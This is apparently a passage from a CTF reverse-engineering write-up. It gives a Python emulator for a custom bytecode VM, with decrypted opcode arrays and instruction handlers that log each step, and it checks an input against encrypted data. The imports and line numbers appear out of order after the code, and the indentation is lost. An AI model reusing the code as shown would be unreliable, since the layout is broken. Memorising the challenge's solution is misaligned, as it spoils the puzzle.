0x8C, 0x84, 0xBF, 0x35, 0x7E, 0x8E, 0x71, 0x1E, 0xE2, 0x87, 0xF8, 0x45, 0xCD, 0xEF, 0xD5, 0x35, 0xD2, 0x69, 0xB, 0x14, 0xEC, 0x56, 0x3, 0x48, 0xC3, 0xD6, 0xF4, 0x2B, 0x6C, 0x31, 0xBC, 0xD2, 0x6F, 0x65, 0x4C, 0xD7, 0x9F, 0xBD, 0x56, 0x3D, 0x79, 0x5E, 0x65, 0xE9, 0x40, 0x30, 0x50, 0xCB, 0xF9, 0x48, 0xE9, 0xF1, 0xD, 0xB4, 0xEB, 0x68, 0xE3, 0xF6, 0xD1, 0xF, 0xD, 0x53, 0xDE, 0xB7, 0x4D, 0x43, 0x6D, 0xF2, 0xBA, 0x5F, 0xB4, 0xDB, 0x21, 0xC7, 0xB9, 0x1, 0x8C, 0xAC, 0x9C, 0x7C, 0x93, 0x2A, 0xC8, 0xD5, 0x2C, 0x96, 0xC3, 0x88, 0x3, 0x16, 0x31, 0xEA, 0x29, 0x72, 0xF9, 0x96, 0x2F, 0x22, 0x1D, 0x81, 0xDF, 0x79, 0x90, 0xF9, 0x2, 0x9A, 0xE1, 0x1D, 0xA5, 0xA1, 0x3, 0xF8, 0x6D, 0x1, 0xA9, 0xB7, 0x49, 0xF7, 0xA1, 0xA1, 0x23, 0x36, 0x11, 0xCF, 0xCD, 0x93, 0x1B, 0x74, 0xA, 0x0, 0x3B, 0xA0, 0xFA, 0x1C, 0xF2, 0x9B, 0x64, 0x2, 0x79, 0xC2, 0x45, 0x6E, 0x5C, 0xB7, 0x52, 0xEB, 0x8A, 0x94, 0x6C, 0xD6, 0x83, 0xC8, 0x46, 0x52, 0x70, 0xAD, 0xEA, 0xB0, 0x38, 0x55, 0xF9, 0xE2, 0xDA, 0x53, 0x1D, 0x3F, 0x69, 0x2, 0xB9, 0xAE, 0xF4, 0x1D, 0x82, 0xD0, 0x77, 0x96, 0x70, 0xCE, 0x6B, 0x76, 0x86, 0x36, 0x63, 0xE8, 0x63, 0x76, 0x51, 0x8F, 0x88, 0xD5, 0x5A, 0x33, 0xD8, 0xC7, 0xFF, 0x71, 0x3F, 0xD9, 0x31, 0x5A, 0xA6, 0x4F, 0x3B, 0x82, 0xD, 0x2F, 0x1D, 0xF5, 0x13, 0xAB, 0x4A, 0x54, 0xAC, 0x13, 0x47, 0x9, 0x81, 0x91, 0xB2, 0x6C, 0xA9, 0xE6, 0x78, 0x12, 0xAB, 0xA0, 0x9C, 0xAA, 0xE6, 0x4, 0xDD, 0x97, 0x39, 0x9, 0x5, 0x69, 0xEC, 0xCD, 0x38, 0xD4, 0x31, 0x80, 0x2A, 0x34, 0xCC, 0x76, 0x23, 0x28, 0xA3, 0xB3, 0x97, 0x4E, 0x4F, 0x7, 0x9D, 0xF7, 0x89, 0x82, 0xBA, 0x32, 0x7E, 0x9B, 0x7B, 0x18, 0xE6, 0x86, 0xFA, 0x43, 0xCF, 0xEE, 0xDD, 0x35, 0xD3, 0x6B, 0xF, 0x10, 0xED, 0x54, 0x4, 0x4B, 0xC0, 0xD2, 0xE4, 0x2C, 0x6E, 0x34, 0xBA, 0xD4, 0xD2, 0xDB, 0xA7, 0x1E, 0x73, 0x4, 0xFA, 0xE6, 0xCD, 0xE7, 0x98, 0x26, 0xAE, 0x8C, 0xF1, 0x15, 0xF3, 0x4B, 0xEA, 0xF4, 0xC, 0xB6, 0xE6, 0x6E, 0xE2, 0xF4, 0xC5, 0x9, 0xB, 0x56, 0xD8, 0xB2, 0x4A, 0x42, 0x7A, 0xF6, 0xBF, 0x58, 0xB6, 0xD5, 0x27, 0xC5, 0xB9, 0x2, 0x8F, 0xAE, 0x9D, 0x75, 0x93, 0x2B, 0xCA, 0xD1, 0x28, 0x97, 0xC1, 0x8F, 0x0, 0x15, 0x35, 0xFA, 0x2E, 0x70, 0xFC, 0x90, 0x29, 0x9F, 0xA3, 0x6A, 0x16, 0x95, 0x29, 0x55, 0xD9, 0x2E, 0x58, 0xE0, 0x6A, 0x4F, 0xBF, 0x58, 0xB3, 0xB, 0xAA, 0xB4, 0x4C, 0xF6, 0xA3, 0xAD, 0x25, 0x37, 0x13, 0xDB, 0xCB, 0x95, 0x1E, 0x72, 0xF, 0x7, 0x3B, 0xB5, 0xF2, 0x1A, 0xF6, 0x9A, 0x66, 0x4, 0x7B, 0xC3, 0x4F, 0x6E, 0x5D, 0xB5, 0x56, 0xEF, 0x8B, 0x96, 0x6B, 0xD5, 0x80, 0xCC, 0x56, 0x55, 0x72, 0xA8, 0xEC, 0xB6, 0x85, 0xEB, 0x12, 0x2B, 0x36, 0xEA, 0xB1, 0xE4, 0xDD, 0xBB, 0x44, 0x61, 0x1A, 0xA1, 0x21, 0xE, 0x7D, 0x95, 0x73, 0xCB, 0x6A, 0x74, 0x89, 0x30, 0x62, 0xEA, 0x77, 0x70, 0x57, 0x8A, 0x8E, 0xD0, 0x5D, 0x33, 0xCD, 0xCE, 0xF9, 0x75, 0x3E, 0xDB, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xF, 0x2B, 0x19, 0xF4, 0x11, 0xAC, 0x49, 0x57, 0xA8, 0x3, 0x40, 0xB, 0x84, 0x97, 0xB4, 0xD1, 0x17, 0xD, 0xB1, 0xFE, 0x12, 0xC, 0x47, 0x1E, 0x5F, 0xF9, 0x12, 0x79, 0x85, 0xAB, 0xDB, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x33, 0x8E, 0x2C, 0x35, 0xCE, 0x62, 0x25, 0x2E, 0xA6, 0xB5, 0x92, 0x49, 0x4F, 0x12, 0x8B, 0xF1, 0x8D, 0x83, 0xB8, 0x34, 0x7C, 0x9A, 0x77, 0x18, 0xE7, 0x84, 0xFE, 0x47, 0xCE, 0xEC, 0xDA, 0x36, 0xD0, 0x6F, 0x1F, 0x17, 0xEF, 0x51, 0x2, 0x4D, 0x7D, 0x6C, 0xF, 0xE5, 0x82, 0x8D, 0x16, 0xF, 0x66, 0x62, 0x5A, 0xD1, 0x9D, 0xB8, 0x47, 0x38, 0xC7, 0xE4, 0x9B, 0x23, 0xAF, 0x8E, 0xF8, 0x13, 0xF2, 0x49, 0xFE, 0xF2, 0xA, 0xB3, 0xE0, 0x6B, 0xE5, 0xF5, 0xD5, 0xD, 0xE, 0x51, 0xDA, 0xA0, 0x4C, 0x40, 0x7B, 0xF5, 0xBC, 0x5A, 0xB7, 0xD8, 0x27, 0xC4, 0xBB, 0x6, 0x8B, 0xAF, 0x9F, 0x72, 0x90, 0x28, 0xCE, 0xC1, 0x2F, 0x95, 0xC4, 0x89, 0x6, 0xA8, 0x8B, 0x11, 0xE7, 0x9C, 0x45, 0x3C, 0xF2, 0x2B, 0x1A, 0x97, 0xD9, 0x7B, 0x95, 0xE9, 0x7, 0x24, 0x5B, 0xE3, 0x6F, 0x4E, 0xBD, 0x50, 0xB5, 0xA, 0xA8, 0xA0, 0x4A, 0xF0, 0xA6, 0xAB, 0x20, 0x30, 0x13, 0xCE, 0xDF, 0x93, 0x1A, 0x73, 0xD, 0x1, 0x39, 0xB4, 0xFC, 0x1A, 0xF7, 0x98, 0x62, 0x0, 0x7A, 0xC1, 0x48, 0x6D, 0x5E, 0xB1, 0x46, 0xE8, 0x89, 0x93, 0x6D, 0xD3, 0x3D, 0x72, 0xBD, 0x9C, 0x9E, 0x11, 0x40, 0x6D, 0x31, 0x52, 0xEF, 0xE4, 0xD8, 0x56, 0xE, 0x3A, 0xD7, 0xB8, 0x47, 0x64, 0x1B, 0xA3, 0x2A, 0x8, 0x7C, 0x97, 0x67, 0xCD, 0x6C, 0x71, 0x8F, 0x35, 0x65, 0xEA, 0x62, 0x65, 0x51, 0x8E, 0x8F, 0xD2, 0x5B, 0x31, 0xCC, 0xC1, 0xF9, 0x74, 0x3C, 0xDF, 0x33, 0x59, 0xA5, 0x43, 0x38, 0x80, 0xB, 0x3B, 0x1E, 0xF6, 0x14, 0xAA, 0x4F, 0xEA, 0x16, 0xE8, 0x89, 0xE7, 0x3D, 0x3B, 0x6F, 0x65, 0xAE, 0xF0, 0x7E, 0x10, 0xAE, 0xB2, 0x99, 0x14, 0x5C, 0xFA, 0x17, 0x78, 0x87, 0xA1, 0xDD, 0x62, 0xED, 0xDA, 0x3B, 0xD3, 0x36, 0x88, 0x29, 0x32, 0xCE, 0x77, 0x37, 0x28, 0xA2, 0xB4, 0x90, 0x4F, 0x4D, 0x13, 0x9B, 0xF1, 0x8C, 0x81, 0xBC, 0x30, 0x7D, 0x98, 0x70, 0x1B, 0xE4, 0x80, 0xEE, 0x40, 0xCC, 0xE9, 0xDC, 0x30, 0x6D, 0xD1, 0xF4, 0xDE, 0x3, 0xE8, 0xAE, 0x96, 0xC9, 0xD5, 0xF2, 0x2A, 0x6C, 0x31, 0xAF, 0xD1, 0x6C, 0x61, 0x59, 0xD4, 0x9C, 0xBA, 0x52, 0x3E, 0xC6, 0xE6, 0x8F, 0x25, 0xA9, 0x8B, 0xFE, 0x16, 0xF5, 0x48, 0xEF, 0xF6, 0xF, 0xB4, 0xE2, 0x7D, 0xE3, 0xF7, 0xD3, 0xE, 0xD, 0x53, 0xDB, 0xB1, 0x4C, 0x41, 0x79, 0xF1, 0xB8, 0x5B, 0xB5, 0xDF, 0x24, 0xC7, 0xBF, 0x16, 0x8C, 0xAD, 0x9A, 0x74, 0x96, 0x95, 0x70, 0x2A, 0xE6, 0x79, 0x7D, 0x25, 0xDD, 0x1C, 0x32, 0xEC, 0x28, 0x72, 0xF9, 0x84, 0x2C, 0x21, 0x19, 0x94, 0xDC, 0x7A, 0x97, 0xFD, 0x1, 0x25, 0x59, 0xF7, 0x69, 0x48, 0xB8, 0x56, 0xB0, 0xD, 0xA8, 0xB5, 0x5A, 0xF6, 0xA2, 0xAA, 0x22, 0x36, 0x11, 0xCF, 0xCD, 0x93, 0x1B, 0x71, 0x9, 0x5, 0x38, 0xB6, 0xFB, 0x19, 0xF4, 0x9C, 0x72, 0x7, 0x78, 0xC4, 0x4E, 0x6B, 0xE3, 0xF, 0xAD, 0x21, 0x65, 0x2A, 0xC1, 0x8, 0x89, 0xCB, 0x40, 0x53, 0x70, 0xAD, 0xFB, 0xB3, 0x3B, 0x51, 0xEC, 0xE1, 0xD9, 0x54, 0x19, 0x3C, 0xD6, 0xBA, 0x53, 0x62, 0x1D, 0xA6, 0x2C, 0xD, 0x7B, 0x97, 0x72, 0xDC, 0x6A, 0x75, 0x8E, 0x37, 0x63, 0xE8, 0x63, 0x76, 0x51, 0x8F, 0x8D, 0xD6, 0x5F, 0x30, 0xCE, 0xC6, 0xFA, 0x77, 0x38, 0xCF, 0x34, 0x5B, 0xA0, 0x45, 0x3E, 0x3D, 0xB5, 0xD0, 0xD7, 0x1A, 0xAD, 0x6, 0x94, 0x5E, 0xAF, 0x15, 0x46, 0x9, 0x81, 0x81, 0xB1, 0x6F, 0xAD, 0xF3, 0x7B, 0x11, 0xAC, 0xA4, 0x9F, 0x15, 0x5E, 0xEE, 0x11, 0x7E, 0x82, 0xA7, 0xD8, 0x65, 0xED, 0xCF, 0x25, 0xD5, 0x32, 0x89, 0x2B, 0x34, 0xCC, 0x76, 0x23, 0x28, 0xA3, 0xB6, 0x94, 0x4B, 0x4C, 0x11, 0x9C, 0xF2, 0x8F, 0x85, 0xAC, 0x37, 0x7F, 0x9D, 0x76, 0x1D, 0x59, 0x3E, 0x5, 0x89, 0x20, 0x50, 0x70, 0xEB, 0xD9, 0x68, 0x9, 0x11, 0xED, 0x54, 0x1B, 0x48, 0xC3, 0xD6, 0xF1, 0x2F, 0x6D, 0x33, 0xBE, 0xD7, 0x6D, 0x63, 0x4D, 0xD2, 0x9A, 0xBF, 0x54, 0x3B, 0xC1, 0xE7, 0x9D, 0x21, 0xAC, 0x8C, 0xFC, 0xC, 0xF3, 0x4A, 0xE8, 0xF5, 0xC, 0xB6, 0xE3, 0x68, 0xE3, 0xF6, 0xD1, 0xA, 0x9, 0x52, 0xD9, 0xB6, 0x4F, 0x42, 0x7D, 0xE1, 0xBF, 0x59, 0xB0, 0xD9, 0x22, 0x7A, 0x1, 0xFD, 0x45, 0x41, 0x23, 0xD8, 0x4D, 0x21, 0xC9, 0xD7, 0x29, 0x97, 0xC1, 0x91, 0x3, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x94, 0x2A, 0x20, 0x1B, 0x80, 0xDA, 0x7C, 0x92, 0xFB, 0x4, 0x22, 0x59, 0xE2, 0x75, 0x4E, 0xBC, 0x57, 0xB2, 0xB, 0xAA, 0xB4, 0x4C, 0xF6, 0xA3, 0xA8, 0x26, 0x32, 0x10, 0xCD, 0xCA, 0x90, 0x18, 0x75, 0x19, 0x2, 0x3A, 0xB3, 0xFD, 0x1F, 0x49, 0x22, 0x99, 0xCE, 0x94, 0x7D, 0xE2, 0xB0, 0x57, 0xB6, 0x50, 0xEE, 0x8B, 0x96, 0x76, 0xD6, 0x83, 0xC8, 0x43, 0x56, 0x71, 0xAF, 0xE8, 0xB5, 0x3A, 0x53, 0xF8, 0xE7, 0xDF, 0x51, 0x1F, 0x39, 0xD1, 0xBA, 0x46, 0x7F, 0x1B, 0xA2, 0x2D, 0xF, 0x7D, 0x95, 0x73, 0xCB, 0x6A, 0x74, 0x8C, 0x33, 0x67, 0xE9, 0x61, 0x71, 0x52, 0x8C, 0x89, 0xC6, 0x58, 0x32, 0xCB, 0xC0, 0xFC, 0xCA, 0x86, 0x24, 0xFD, 0xB7, 0x19, 0xE9, 0xE5, 0x89, 0xC, 0x2D, 0x18, 0xF4, 0x11, 0xB0, 0x4A, 0x54, 0xAC, 0x16, 0x43, 0x8, 0x83, 0x93, 0xB7, 0x6E, 0xAF, 0xE7, 0x7D, 0x17, 0xA9, 0xA2, 0x9A, 0x12, 0x5E, 0xFB, 0xB, 0x78, 0x86, 0xA6, 0xDA, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x33, 0x8B, 0x2F, 0x30, 0xCD, 0x74, 0x24, 0x2B, 0xA0, 0xB2, 0x84, 0x4C, 0x4E, 0x14, 0x9A, 0xF4, 0x32, 0x3B, 0x47, 0xFE, 0x93, 0x24, 0xDA, 0xC6, 0xED, 0x87, 0xF8, 0x46, 0xCE, 0xEC, 0xC1, 0x35, 0xD3, 0x6B, 0xA, 0x14, 0xEC, 0x56, 0x6, 0x4E, 0xC2, 0xD4, 0xE5, 0x29, 0x6B, 0x36, 0xB8, 0xD2, 0x6A, 0x62, 0x5E, 0xD6, 0x9F, 0xB8, 0x56, 0x25, 0xC7, 0xE5, 0x99, 0x22, 0xAF, 0x8E, 0xFD, 0x15, 0xF3, 0x4B, 0xEA, 0xF1, 0x8, 0xB7, 0xE1, 0x6F, 0xE0, 0xF5, 0xD5, 0x1A, 0xE, 0x50, 0xDC, 0xB0, 0x49, 0xFF, 0xC3, 0xA, 0x76, 0xB5, 0x9, 0x75, 0xF9, 0xCE, 0xB8, 0x0, 0x8A, 0xAF, 0x9F, 0x68, 0x93, 0x2B, 0xCA, 0xD4, 0x2C, 0x96, 0xC3, 0x8D, 0x5, 0x17, 0x33, 0xFB, 0x2B, 0x75, 0xFE, 0x92, 0x2F, 0x27, 0x1B, 0x95, 0xC2, 0x7A, 0x96, 0xFA, 0x6, 0x24, 0x5B, 0xE3, 0x6F, 0x4E, 0xBD, 0x55, 0xB6, 0xF, 0xAB, 0xB6, 0x4B, 0xF5, 0xA0, 0xAC, 0x36, 0x35, 0x12, 0xC8, 0xCC, 0x96, 0xA5, 0xCB, 0xF2, 0xCB, 0xD6, 0xA, 0x51, 0xC4, 0xFD, 0x9B, 0x64, 0x1, 0x7A, 0xC1, 0x51, 0x6E, 0x5D, 0xB5, 0x53, 0xEB, 0x8A, 0x94, 0x69, 0xD0, 0x82, 0xCA, 0x57, 0x50, 0x77, 0xAA, 0xEE, 0xB0, 0x3D, 0x53, 0xED, 0xFE, 0xD9, 0x55, 0x1E, 0x3B, 0xD7, 0xB8, 0x47, 0x64, 0x1B, 0xA3, 0x2F, 0xB, 0x79, 0x94, 0x71, 0xCC, 0x69, 0x77, 0x88, 0x23, 0x60, 0xEB, 0x64, 0x77, 0x54, 0x31, 0x37, 0x2D, 0x91, 0xDE, 0x72, 0x6C, 0x27, 0x7E, 0x3F, 0xD9, 0x32, 0x59, 0xA5, 0x5B, 0x3B, 0x83, 0xF, 0x2E, 0x1D, 0xF5, 0x13, 0xAE, 0x4C, 0x55, 0xAE, 0x2, 0x45, 0xE, 0x86, 0x95, 0xB2, 0x69, 0xAC, 0xF4, 0x16, 0xF7, 0x40, 0x7F, 0x9C, 0x14, 0x5C, 0xFA, 0x10, 0x7B, 0x84, 0xA3, 0xDA, 0x6B, 0xE4, 0xCE, 0x3D, 0xD5, 0x33, 0x8B, 0x2A, 0x34, 0xC9, 0x75, 0x20, 0x20, 0xAC, 0xBF, 0x92, 0x57, 0x4E, 0x1B, 0x99, 0xF8, 0x8D, 0x86, 0xD4, 0xD2, 0x90, 0x44, 0x72, 0x18, 0xE7, 0x84, 0xFC, 0x40, 0xCC, 0xE9, 0xDC, 0x3D, 0xD8, 0x6B, 0xA, 0x14, 0xEC, 0x56, 0x3, 0x48, 0xC6, 0xD5, 0xF2, 0x27, 0x62, 0x3A, 0xB8, 0xC9, 0x6F, 0x68, 0x5B, 0xDD, 0x9D, 0xBD, 0x3A, 0xDE, 0x2B, 0x3A, 0x9E, 0x23, 0xAF, 0x8E, 0xFA, 0x16, 0xF0, 0x4C, 0xEB, 0xFC, 0x7, 0xB6, 0xE3, 0x68, 0xE3, 0xF6, 0xD1, 0xF, 0x8, 0x50, 0xD8, 0xB9, 0x43, 0x48, 0x7A, 0xEC, 0xBF, 0x50, 0xB5, 0xD1, 0x26, 0xC3, 0xD6, 0xE5, 0x63, 0x70, 0x98, 0x75, 0x93, 0x2B, 0xCD, 0xD7, 0x2F, 0x91, 0xC2, 0x80, 0x8, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x91, 0x29, 0x22, 0x1A, 0x9C, 0xD3, 0x73, 0x94, 0xE0, 0x4, 0x2F, 0x59, 0xEA, 0x6E, 0x49, 0xD0, 0xB3, 0x5F, 0xD5, 0xAF, 0xB4, 0x4C, 0xF6, 0xA4, 0xAB, 0x20, 0x31, 0x10, 0xC7, 0xC6, 0x93, 0x1B, 0x71, 0xC, 0x1, 0x39, 0xB4, 0xF9, 0x19, 0xF4, 0x90, 0x68, 0xD, 0x78, 0xDB, 0x4C, 0x62, 0x5F, 0xBC, 0x52, 0xEC, 0xE7, 0x72, 0x80, 0x8, 0x86, 0xC8, 0x43, 0x56, 0x76, 0xAC, 0xEE, 0xB4, 0x3A, 0x59, 0xE7, 0xE1, 0xD9, 0x54, 0x1C, 0x3A, 0xD7, 0xB8, 0x42, 0x67, 0x18, 0xAB, 0x20, 0x7, 0x7E, 0x8D, 0x70, 0xC6, 0x68, 0x7D, 0x8D, 0x31, 0xE, 0xE, 0x8F, 0xA8, 0x54, 0x8F, 0x8D, 0xD3, 0x5C, 0x32, 0xCF, 0xC6, 0xF8, 0x7C, 0x37, 0xDA, 0x37, 0x58, 0xA7, 0x44, 0x3B, 0x83, 0xA, 0x2D, 0x1E, 0xFD, 0x1C, 0xA2, 0x49, 0x4C, 0xAF, 0x18, 0x41, 0x1, 0x82, 0x91, 0xDC, 0x89, 0x41, 0x2D, 0x7E, 0x11, 0xAC, 0xA1, 0x9E, 0x17, 0x5F, 0xFD, 0x16, 0x70, 0x8C, 0xA4, 0xDB, 0x63, 0xEF, 0xCE, 0x3D, 0xD5, 0x36, 0x88, 0x29, 0x3C, 0xC3, 0x7F, 0x20, 0x30, 0xA0, 0xB9, 0x93, 0x46, 0x4C, 0x19, 0x9B, 0xF1, 0x8C, 0x81, 0xB9, 0x34, 0x7C, 0x9A, 0x76, 0x13, 0xF7, 0x84, 0xFB, 0x43, 0xCF, 0xEE, 0xDD, 0x35, 0xD2, 0x64, 0xA, 0x16, 0xEC, 0x56, 0x3, 0x48, 0xC3, 0xD6, 0xF4, 0x20, 0x62, 0x39, 0xAC, 0xDD, 0x63, 0x60, 0x54, 0xC4, 0x9E, 0xBA, 0x57, 0x38, 0xC7, 0xE4, 0x9B, 0x26, 0xA2, 0x83, 0xF7, 0x2, 0xFD, 0x46, 0xFA, 0xF8, 0x2, 0xA5, 0xA5, 0x61, 0xE2, 0xF9, 0xD0, 0xF, 0xD, 0x53, 0xDB, 0xB1, 0x4C, 0x41, 0x7C, 0xFE, 0xB6, 0x55, 0xA7, 0xD2, 0x2C, 0xD7, 0x45, 0xB, 0x8E, 0xAE, 0x9C, 0x75, 0x93, 0x2B, 0xCA, 0xD4, 0x2C, 0x96, 0x3C, 0x89, 0x3, 0x16, 0x31, 0xEF, 0x2D, 0x73, 0xFB, 0x91, 0x2C, 0xDE]
opcode = decrypt(opcode)
enc = [0xB6, 0x82, 0x1A, 0x15, 0xF5, 0x32, 0x5A, 0xFC, 0xF, 0x11, 0xEA, 0x89, 0x32, 0x38, 0xC3, 0x55]
enc = decrypt(enc)
rand_array = [0x9B, 0x71, 0x29, 0x14, 0xD4, 0x35, 0x39, 0x64, 0x3D, 0x95, 0x9A, 0x93, 0xF6, 0xC7, 0x22, 0x58, 0xD0, 0xB4, 0xEE, 0x4F, 0x88, 0x2D, 0x4, 0x51, 0x6A, 0xE7, 0xA9, 0x7, 0x24, 0x3F, 0x46, 0xF1, 0xA1, 0x3A, 0x1F, 0x5F, 0xCA, 0x12, 0xE2, 0x24, 0xD6, 0xB7, 0xA6, 0x25, 0x69, 0xE3, 0x40, 0xA5, 0x5A, 0x49, 0xA8, 0x92, 0xF1, 0xCF, 0x20, 0x73, 0x1A, 0x81, 0xB4, 0xEA, 0x29, 0x9B, 0x56, 0xAB, 0x9F, 0x92, 0x1, 0x28, 0xC0, 0xEA, 0x63, 0x99, 0x83, 0x12, 0x18, 0x8B, 0x59, 0x9D, 0x35, 0xEC, 0xAD, 0x5C, 0x6D, 0x2E, 0x86, 0x57, 0x9D, 0x68, 0xF9, 0x94, 0x3C, 0xA, 0xF0, 0x42, 0x3F, 0x84, 0x1F, 0xB6, 0xF4, 0x5, 0x1F, 0x99, 0x3, 0xBF, 0xF0, 0x25, 0xE2, 0xEC, 0xAB, 0xA4, 0x5C, 0xAC, 0x52, 0xAC, 0x14, 0x86, 0xBC, 0x17, 0xE8, 0xFB, 0x79, 0xE9, 0x87, 0x10, 0x25, 0x0, 0x2F, 0xFD, 0x5C, 0x7F, 0x1E, 0xD1, 0x87, 0xC5, 0x97, 0x5D, 0x5C, 0xA7, 0x2, 0xAA, 0x42, 0xD4, 0xCA, 0x27, 0x91, 0xE0, 0x50, 0xB6, 0x1C, 0x4, 0x1E, 0x42, 0x4B, 0xE8, 0x54, 0x6A, 0xF0, 0xCB, 0xD1, 0xFB, 0xA1, 0x34, 0x9A, 0xCE, 0xCB, 0xCD, 0xB, 0x4A, 0x2D, 0x98, 0xA8, 0xBB, 0x3A, 0x65, 0x14, 0xE7, 0x4B, 0xD5, 0x1D, 0x2F, 0xBF, 0x22, 0x1E, 0x61, 0x76, 0x2F, 0x8D, 0x30, 0xB0, 0x6C, 0x99, 0xCA, 0x9F, 0x5C, 0x5D, 0xC8, 0xE9, 0xBC, 0xF0, 0xA9, 0x94, 0x57, 0x62, 0xF, 0x22, 0x21, 0x1E, 0x3B, 0xD7, 0xEE, 0x24, 0x5E, 0xC9, 0xFF, 0x8C, 0x4C, 0x75, 0x1E, 0xF0, 0x4, 0xB2, 0x38, 0xC, 0x20, 0xC6, 0x8C, 0x1F, 0x33, 0x6, 0x38, 0xFF, 0x2F, 0x1D, 0xAB, 0x45, 0xF3, 0x35, 0x92, 0xE2, 0xBD, 0xD7, 0x69, 0x28, 0x4A, 0xDE, 0x19, 0xDB, 0x8A, 0x4F, 0x6E, 0xB5, 0xF4, 0xED, 0xBD, 0xC, 0x1B]

stack = [0]*0x20
buffer = [0]*0x400 # buffer开头存有输入
for i in range(0x20):buffer[i] = ord('a')
for i in range(len(enc)):buffer[0x210+i] = enc[i]
PC = 0
# ZF -> v136[24]
# CF -> v136[25]
ZF,CF = False,False

while PC < len(opcode):
mask = (1<<64)-1
match opcode[PC]:
case 0x00:
break
case 0x01:
op0,op1 = opcode[PC+1]&0x0F,unpack("<Q",opcode[PC+2:PC+2+8])[0]
stack[op0] = op1
logging.debug(f"[{PC:04x}] stack[{op0}] = 0x{op1:016x};")
PC += 10
case 0x02:
op0,op1 = opcode[PC+1]&0x0F,unpack("<H",opcode[PC+2:PC+2+2])[0]
stack[op0] = buffer[op1]
logging.debug(f"[{PC:04x}] stack[{op0}] = buffer[0x{op1:04x}];\t// 0x{buffer[op1]:02x}")
PC += 4
case 0x03:
op0,op1 = unpack("<H",opcode[PC+1:PC+1+2])[0],opcode[PC+3]&0x0F
buffer[op0] = stack[op1]&0xFF
logging.debug(f"[{PC:04x}] buffer[0x{op0:04x}] = stack[{op1}];\t// 0x{stack[op1]:02x}")
PC += 4
case 0x05:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
stack[op0] = num0 = (num1+num2)&mask
CF = num1 + num2 > mask
ZF = num0 == 0
logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]+stack[{op2}];\t// 0x{num1:016x} + 0x{num2:016x} = 0x{num0:016x} CF:{CF} ZF:{ZF}")
PC += 4
case 0x07:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
stack[op0] = num0 = (num1*num2)&mask
ZF = num0 == 0
logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]*stack[{op2}];\t// 0x{num1:016x} * 0x{num2:016x} = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x0A:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
stack[op0] = num0 = (num1^num2)&mask
ZF = num0 == 0
logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]^stack[{op2}];\t// 0x{num1:016x} ^ 0x{num2:016x} = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x0F:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]
num1 = stack[op1]
stack[op0] = num0 = (num1 >> op2)&mask
logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}] >> {op2};\t// 0x{num1:016x} >> 0x{op2:02x} = 0x{num0:016x}")
PC += 4
case 0x10:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1,num2 = stack[op0],stack[op1]
if PC == 0x934:
print(hex(num1),hex(num2))
ZF = num1 == num2
CF = num1 < num2
logging.debug(f"[{PC:04x}] cmp(stack[{op0}],stack[{op1}]);\t// ZF:{ZF} CF:{CF}")
PC += 3
case 0x13:
op0 = unpack("<H",opcode[PC+1:PC+1+2])[0]
logging.debug(f"[{PC:04x}] if(!ZF) goto 0x{op0:04x};")
if PC == 0x0923:
PC += 3
continue
if ZF: PC += 3
else : PC = op0
if PC > len(opcode):break
case 0x14:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1 = stack[op1]
stack[op0] = num0 = rand_array[num1]
ZF = num0 == 0
logging.debug(f"[{PC:04x}] stack[{op0}] = rand_array[stack[{op1}]];\t// rand_array[0x{num1:02x}] = 0x{num0:02x} ZF:{ZF}")
PC += 3
case 0x15:
rol = lambda num,bits:((num<<bits) | (num>>(64-bits)))&mask
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]
num1 = stack[op1]
stack[op0] = num0 = rol(num1,op2)
ZF = num0 == 0
logging.debug(f"[{PC:04x}] stack[{op0}] = rol(stack[{op1}],{op2});\t// rol(0x{num1:016x},0x{op2:02x}) = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x17:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1 = stack[op1]
stack[op0] = num0 = buffer[num1]
logging.debug(f"[{PC:04x}] stack[{op0}] = buffer[stack[{op1}]];\t// buffer[0x{num1:04x}] = 0x{num0:02x}")
PC += 3
case 0xFF:
break
case default:
raise NotImplementedError(f"Unkonwn opcode 0x{default:02X}")

if stack[0] == 1:
print("Correct!")
else:
print("Wrong!")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from hashlib import sha256
from struct import unpack
import logging
import z3

logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] %(message)s')

xor_key = sha256(b'UnicornVM_Secret_Key_2026_CTF!!!').digest()

decrypt = lambda enc:bytes(xor_key[i&0x1F]^((i*7)&0xFF)^enc[i] for i in range(len(enc)))

